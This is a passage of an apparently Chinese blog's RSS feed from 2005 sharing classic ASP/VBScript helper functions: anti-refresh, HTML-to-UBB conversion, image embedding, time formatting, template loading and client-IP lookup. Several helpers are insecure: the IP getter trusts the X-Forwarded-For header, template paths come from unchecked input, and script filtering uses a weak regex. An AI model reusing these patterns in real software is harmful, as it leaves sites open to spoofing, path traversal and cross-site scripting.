&#34;\&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CreatePath&nbsp; =&nbsp; &#34;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; objFso=nothing<BR> End&nbsp; Function</P><P> <BR> &nbsp; &#39;================================================<BR> &#39;过程名：PreventRefresh<BR> &#39;作&nbsp; &nbsp; 用：防止刷新页面<BR> &#39;================================================<BR> Sub&nbsp; PreventRefresh()<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; RefreshTime,isRefresh<BR> &nbsp; &nbsp; &nbsp; &nbsp; RefreshTime&nbsp; =&nbsp; 10&nbsp; &nbsp; &nbsp; &#39;防止刷新时间,单位（秒）<BR> &nbsp; &nbsp; &nbsp; &nbsp; isRefresh&nbsp; =&nbsp; 1&nbsp; &nbsp; &nbsp; &nbsp; &#39;是否使用防刷新功能，0=否，1=是<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; isRefresh&nbsp; =&nbsp; 1&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; (Not&nbsp; IsEmpty(Session(&#34;RefreshTime&#34;)))&nbsp; And&nbsp; RefreshTime&nbsp; &gt;&nbsp; 0&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; DateDiff(&#34;s&#34;,&nbsp; Session(&#34;RefreshTime&#34;),&nbsp; Now())&nbsp; &lt;&nbsp; RefreshTime&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Response.Write&nbsp; &#34;&lt;META&nbsp; http-equiv=Content-Type&nbsp; content=text/html;&nbsp; chaRset=gb2312&gt;&lt;meta&nbsp; HTTP-EQUIV=REFRESH&nbsp; CONTENT=&#34;&amp;RefreshTime&amp;&#34;&gt;&lt;br&gt;本页面起用了防刷新机制，请不要在&#34;&amp;RefreshTime&amp;&#34;秒内连续刷新本页面&lt;BR&gt;正在打开页面，请稍后……&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Response.End<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Session(&#34;RefreshTime&#34;)&nbsp; =&nbsp; Now()<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Session(&#34;RefreshTime&#34;)&nbsp; =&nbsp; Now()<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> End&nbsp; Sub</P><P> Function&nbsp; Html2Ubb(str)<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Str&lt;&gt;&#34;&#34;&nbsp; And&nbsp; Not&nbsp; IsNull(Str)&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; re,tmpstr<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; re=new&nbsp; RegExp<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.IgnoreCase&nbsp; =True<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Global=True<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&nbsp; &#34;(&lt;STRONG&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;b&gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&nbsp; &#34;(&lt;\/STRONG&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;/b&gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;TBODY&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;\/TBODY&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;TABLE)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;table&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(TABLE&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;table&gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;TR)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;tr&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(TR&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;tr&gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;TD)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;td&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(TD&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;td&gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;DIV)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;div&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(Div&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;div&gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;IMG&nbsp; )&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;img&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;BR)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;br&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;A&nbsp; )&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;a&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;\/A&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;/a&gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;FONT&nbsp; )&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;font&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(&lt;\/FONT&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&lt;/font&gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&nbsp; &#34;(&lt;s+cript(.+?)&lt;\/s+cript&gt;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&nbsp; &#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(\{)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&amp;#123;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(\})&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&amp;#125;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&#34;(\&#36;)&#34;:Str&nbsp; =&nbsp; re.Replace(Str,&#34;&amp;#36;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&nbsp; &#34;(&lt;div(.+?)&gt;)&#34;:Str&nbsp; =&nbsp; re.replace(Str,&#34;&lt;div&gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; re.Pattern&nbsp; =&nbsp; &#34;(&lt;span(.+?)&gt;)&#34;:Str&nbsp; =&nbsp; re.replace(Str,&#34;&lt;span&gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; Re=Nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Html2Ubb&nbsp; =&nbsp; Str<BR> &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Html2Ubb&nbsp; =&nbsp; &#34;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> End&nbsp; Function</P><P> &#39;================================================<BR> &#39;作&nbsp; &nbsp; 用：读取图片或者FLASH<BR> &#39;参&nbsp; &nbsp; 数：url&nbsp; ----文件URL<BR> &#39;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; height&nbsp; ----高度<BR> &#39;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; width&nbsp; ----宽度<BR> &#39;================================================<BR> Function&nbsp; GetFlashAndPic(url,height,width)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; sExtName,ExtName,strTemp<BR> &nbsp; &nbsp; &nbsp; &nbsp; sExtName&nbsp; =&nbsp; Split(url,&nbsp; &#34;.&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; ExtName&nbsp; =&nbsp; sExtName(UBound(sExtName))<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; LCase(ExtName)&nbsp; =&nbsp; &#34;swf&#34;&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strTemp&nbsp; =&nbsp; &#34;&lt;embed&nbsp; src=&#34;&#34;&#34;&nbsp; &amp;&nbsp; url&nbsp; &amp;&nbsp; &#34;&#34;&#34;&nbsp; width=&#34;&nbsp; &amp;&nbsp; width&nbsp; &amp;&nbsp; &#34;&nbsp; height=&#34;&nbsp; &amp;&nbsp; height&nbsp; &amp;&nbsp; &#34;&gt;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strTemp&nbsp; =&nbsp; &#34;&lt;img&nbsp; src=&#34;&#34;&#34;&nbsp; &amp;&nbsp; url&nbsp; &amp;&nbsp; &#34;&#34;&#34;&nbsp; width=&#34;&nbsp; &amp;&nbsp; width&nbsp; &amp;&nbsp; &#34;&nbsp; height=&#34;&nbsp; &amp;&nbsp; height&nbsp; &amp;&nbsp; &#34;&nbsp; border=0&gt;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; GetFlashAndPic&nbsp; =&nbsp; strTemp<BR> End&nbsp; Function<BR> %&gt;</P><P> &lt;%<BR> &#39;&nbsp; 取随机文件名<BR> Function&nbsp; GetRndFileName(sExt)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; sRnd<BR> &nbsp; &nbsp; &nbsp; &nbsp; Randomize<BR> &nbsp; &nbsp; &nbsp; &nbsp; sRnd&nbsp; =&nbsp; Int(900&nbsp; *&nbsp; Rnd)&nbsp; +&nbsp; 100<BR> &nbsp; &nbsp; &nbsp; &nbsp; GetRndFileName&nbsp; =&nbsp; day(now)&nbsp; &amp;&nbsp; hour(now)&nbsp; &amp;&nbsp; minute(now)&nbsp; &amp;&nbsp; second(now)&nbsp; &amp;&nbsp; sRnd&nbsp; &amp;&nbsp; &#34;.&#34;&nbsp; &amp;&nbsp; sExt<BR> End&nbsp; Function</P><P> <BR> &#39;&nbsp; ============================================<BR> &#39;&nbsp; 格式化时间(显示)<BR> &#39;&nbsp; 参数：n_Flag<BR> &#39;&nbsp; &nbsp; &nbsp; &nbsp; 1:&#34;yyyy-mm-dd&nbsp; hh:mm:ss&#34;<BR> &#39;&nbsp; &nbsp; &nbsp; &nbsp; 2:&#34;yyyy-mm-dd&#34;<BR> &#39;&nbsp; &nbsp; &nbsp; &nbsp; 3:&#34;hh:mm:ss&#34;<BR> &#39;&nbsp; &nbsp; &nbsp; &nbsp; 4:&#34;yyyy年mm月dd日&#34;<BR> &#39;&nbsp; &nbsp; &nbsp; &nbsp; 5:&#34;yyyymmdd&#34;<BR> &#39;&nbsp; ============================================<BR> Function&nbsp; Format_Time(s_Time,&nbsp; n_Flag)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; y,&nbsp; m,&nbsp; d,&nbsp; h,&nbsp; mi,&nbsp; s<BR> &nbsp; &nbsp; &nbsp; &nbsp; Format_Time&nbsp; =&nbsp; &#34;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; IsDate(s_Time)&nbsp; =&nbsp; False&nbsp; Then&nbsp; Exit&nbsp; Function<BR> &nbsp; &nbsp; &nbsp; &nbsp; y&nbsp; =&nbsp; cstr(year(s_Time))<BR> &nbsp; &nbsp; &nbsp; &nbsp; m&nbsp; =&nbsp; cstr(month(s_Time))<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; len(m)&nbsp; =&nbsp; 1&nbsp; Then&nbsp; m&nbsp; =&nbsp; &#34;0&#34;&nbsp; &amp;&nbsp; m<BR> &nbsp; &nbsp; &nbsp; &nbsp; d&nbsp; =&nbsp; cstr(day(s_Time))<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; len(d)&nbsp; =&nbsp; 1&nbsp; Then&nbsp; d&nbsp; =&nbsp; &#34;0&#34;&nbsp; &amp;&nbsp; d<BR> &nbsp; &nbsp; &nbsp; &nbsp; h&nbsp; =&nbsp; cstr(hour(s_Time))<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; len(h)&nbsp; =&nbsp; 1&nbsp; Then&nbsp; h&nbsp; =&nbsp; &#34;0&#34;&nbsp; &amp;&nbsp; h<BR> &nbsp; &nbsp; &nbsp; &nbsp; mi&nbsp; =&nbsp; cstr(minute(s_Time))<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; len(mi)&nbsp; =&nbsp; 1&nbsp; Then&nbsp; mi&nbsp; =&nbsp; &#34;0&#34;&nbsp; &amp;&nbsp; mi<BR> &nbsp; &nbsp; &nbsp; &nbsp; s&nbsp; =&nbsp; cstr(second(s_Time))<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; len(s)&nbsp; =&nbsp; 1&nbsp; Then&nbsp; s&nbsp; =&nbsp; &#34;0&#34;&nbsp; &amp;&nbsp; s<BR> &nbsp; &nbsp; &nbsp; &nbsp; Select&nbsp; Case&nbsp; n_Flag<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; 1<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; yyyy-mm-dd&nbsp; hh:mm:ss<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Format_Time&nbsp; =&nbsp; y&nbsp; &amp;&nbsp; &#34;-&#34;&nbsp; &amp;&nbsp; m&nbsp; &amp;&nbsp; &#34;-&#34;&nbsp; &amp;&nbsp; d&nbsp; &amp;&nbsp; &#34;&nbsp; &#34;&nbsp; &amp;&nbsp; h&nbsp; &amp;&nbsp; &#34;:&#34;&nbsp; &amp;&nbsp; mi&nbsp; &amp;&nbsp; &#34;:&#34;&nbsp; &amp;&nbsp; s<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; 2<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; yyyy-mm-dd<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Format_Time&nbsp; =&nbsp; y&nbsp; &amp;&nbsp; &#34;-&#34;&nbsp; &amp;&nbsp; m&nbsp; &amp;&nbsp; &#34;-&#34;&nbsp; &amp;&nbsp; d<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; 3<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; hh:mm:ss<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Format_Time&nbsp; =&nbsp; h&nbsp; &amp;&nbsp; &#34;:&#34;&nbsp; &amp;&nbsp; mi&nbsp; &amp;&nbsp; &#34;:&#34;&nbsp; &amp;&nbsp; s<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; 4<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; yyyy年mm月dd日<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Format_Time&nbsp; =&nbsp; y&nbsp; &amp;&nbsp; &#34;年&#34;&nbsp; &amp;&nbsp; m&nbsp; &amp;&nbsp; &#34;月&#34;&nbsp; &amp;&nbsp; d&nbsp; &amp;&nbsp; &#34;日&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; 5<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; yyyymmdd<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Format_Time&nbsp; =&nbsp; y&nbsp; &amp;&nbsp; m&nbsp; &amp;&nbsp; d&nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Select<BR> End&nbsp; Function</P><P> %&gt;</div>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=156</link>
      <title><![CDATA[通过Stream对象载入外部文件：）－－模板技术]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2005-6-29 13:52:16</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=156</guid>
      <comments>
              /Blog/Blog.aspx?Id=156#commentbox
            </comments>
      <description><![CDATA[实现代码：<BR> [code]<BR> &lt;%<BR> Function&nbsp; LoadTemplate(byval&nbsp; str)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; str=&#34;&#34;&nbsp; Or&nbsp; IsNull(str)&nbsp; Then&nbsp; Exit&nbsp; Function&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; objStream,Template_Dir,Template_File<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Template_Dir=&#34;Template/&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Template_File=Template_Dir&amp;str&amp;&#34;.htm&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; On&nbsp; Error&nbsp; Resume&nbsp; Next<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; objStream&nbsp; =&nbsp; Server.CreateObject(&#34;ADODB.Stream&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Err.Number=-2147221005&nbsp; Then&nbsp; 实现代码：<BR> <div class='code'><BR> &lt;%<BR> Function&nbsp; LoadTemplate(byval&nbsp; str)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; str=&#34;&#34;&nbsp; Or&nbsp; IsNull(str)&nbsp; Then&nbsp; Exit&nbsp; Function&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; objStream,Template_Dir,Template_File<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Template_Dir=&#34;Template/&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Template_File=Template_Dir&amp;str&amp;&#34;.htm&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; On&nbsp; Error&nbsp; Resume&nbsp; Next<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; objStream&nbsp; =&nbsp; Server.CreateObject(&#34;ADODB.Stream&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Err.Number=-2147221005&nbsp; Then&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Response.Write&nbsp; &#34;&lt;div&nbsp; align=&#39;center&#39;&gt;非常遗憾,您的主机不支持ADODB.Stream,不能使用本程序&lt;/div&gt;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Err.Clear<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Response.End<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; With&nbsp; objStream<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .Type&nbsp; =&nbsp; 2<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .Mode&nbsp; =&nbsp; 3<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .Open<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .LoadFromFile&nbsp; Server.MapPath(Template_File)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Err.Number&lt;&gt;0&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Response.Write&nbsp; &#34;&lt;div&nbsp; align=&#39;center&#39;&gt;模板&lt;font&nbsp; color=&#39;#ff0000&#39;&gt;&#34;&amp;Template_File&amp;&#34;&lt;/font&gt;无法被打开，请检查该模板是否存在!&lt;/font&gt;&lt;/div&gt;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Err.Clear<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Response.End<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .Charset&nbsp; =&nbsp; &#34;GB2312&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .Position&nbsp; =&nbsp; 2<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LoadTemplate&nbsp; =&nbsp; .ReadText<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .Close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; With<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; objStream&nbsp; =&nbsp; Nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; namestr=LoadTemplate<BR> End&nbsp; Function<BR> %&gt;</P><P> </div></P><P> <BR> <div class='code'></P><P> <BR> &lt;%</P><P> dim&nbsp; temp<BR> &#39;&nbsp; 调用方法<BR> temp=loadtemplate&nbsp; (&#34;head&#34;)<BR> temp=replace(temp,&#34;{&#36;Webname&#36;}&#34;,&nbsp; &#34;这就是网站名&#34;)<BR> Response.write&nbsp; temp<BR> %&gt;</P><P> </div>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=155</link>
      <title><![CDATA[常用共公函数]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2005-6-28 10:16:42</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=155</guid>
      <comments>
              /Blog/Blog.aspx?Id=155#commentbox
            </comments>
      <description><![CDATA[[quote]<BR> &lt;%<BR> Function&nbsp; RealIP()&nbsp; &nbsp; &nbsp; &#39;&nbsp; 获得IP<BR> dim&nbsp; vip<BR> vip=Request.ServerVariables(&#34;http_x_forwarded_for&#34;)<BR> &nbsp; if&nbsp; vip=&#34;&#34;&nbsp; or&nbsp; Isnull(vip)&nbsp; then<BR> &nbsp; &nbsp; &nbsp; &nbsp; vip=Request.ServerVariables(&#34;remote_addr&#34;)<BR> &nbsp; end&nbsp; if<BR> Response.Write&nbsp; (vip)<BR> End&nbsp; Function<BR> <div class='quote'><BR> &lt;%<BR> Function&nbsp; RealIP()&nbsp; &nbsp; &nbsp; &#39;&nbsp; 获得IP<BR> dim&nbsp; vip<BR> vip=Request.ServerVariables(&#34;http_x_forwarded_for&#34;)<BR> &nbsp; if&nbsp; vip=&#34;&#34;&nbsp; or&nbsp; Isnull(vip)&nbsp; then<BR> &nbsp; &nbsp; &nbsp; &nbsp; vip=Request.ServerVariables(&#34;remote_addr&#34;)<BR> &nbsp; end&nbsp; if<BR> Response.Write&nbsp; (vip)<BR> End&nbsp; Function</P><P> &nbsp; &nbsp; Function&nbsp; Checkstr(Str)&nbsp; &nbsp; &#39;检验字符串<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Isnull(Str)&nbsp; Then<BR> &nbsp; &nbsp; 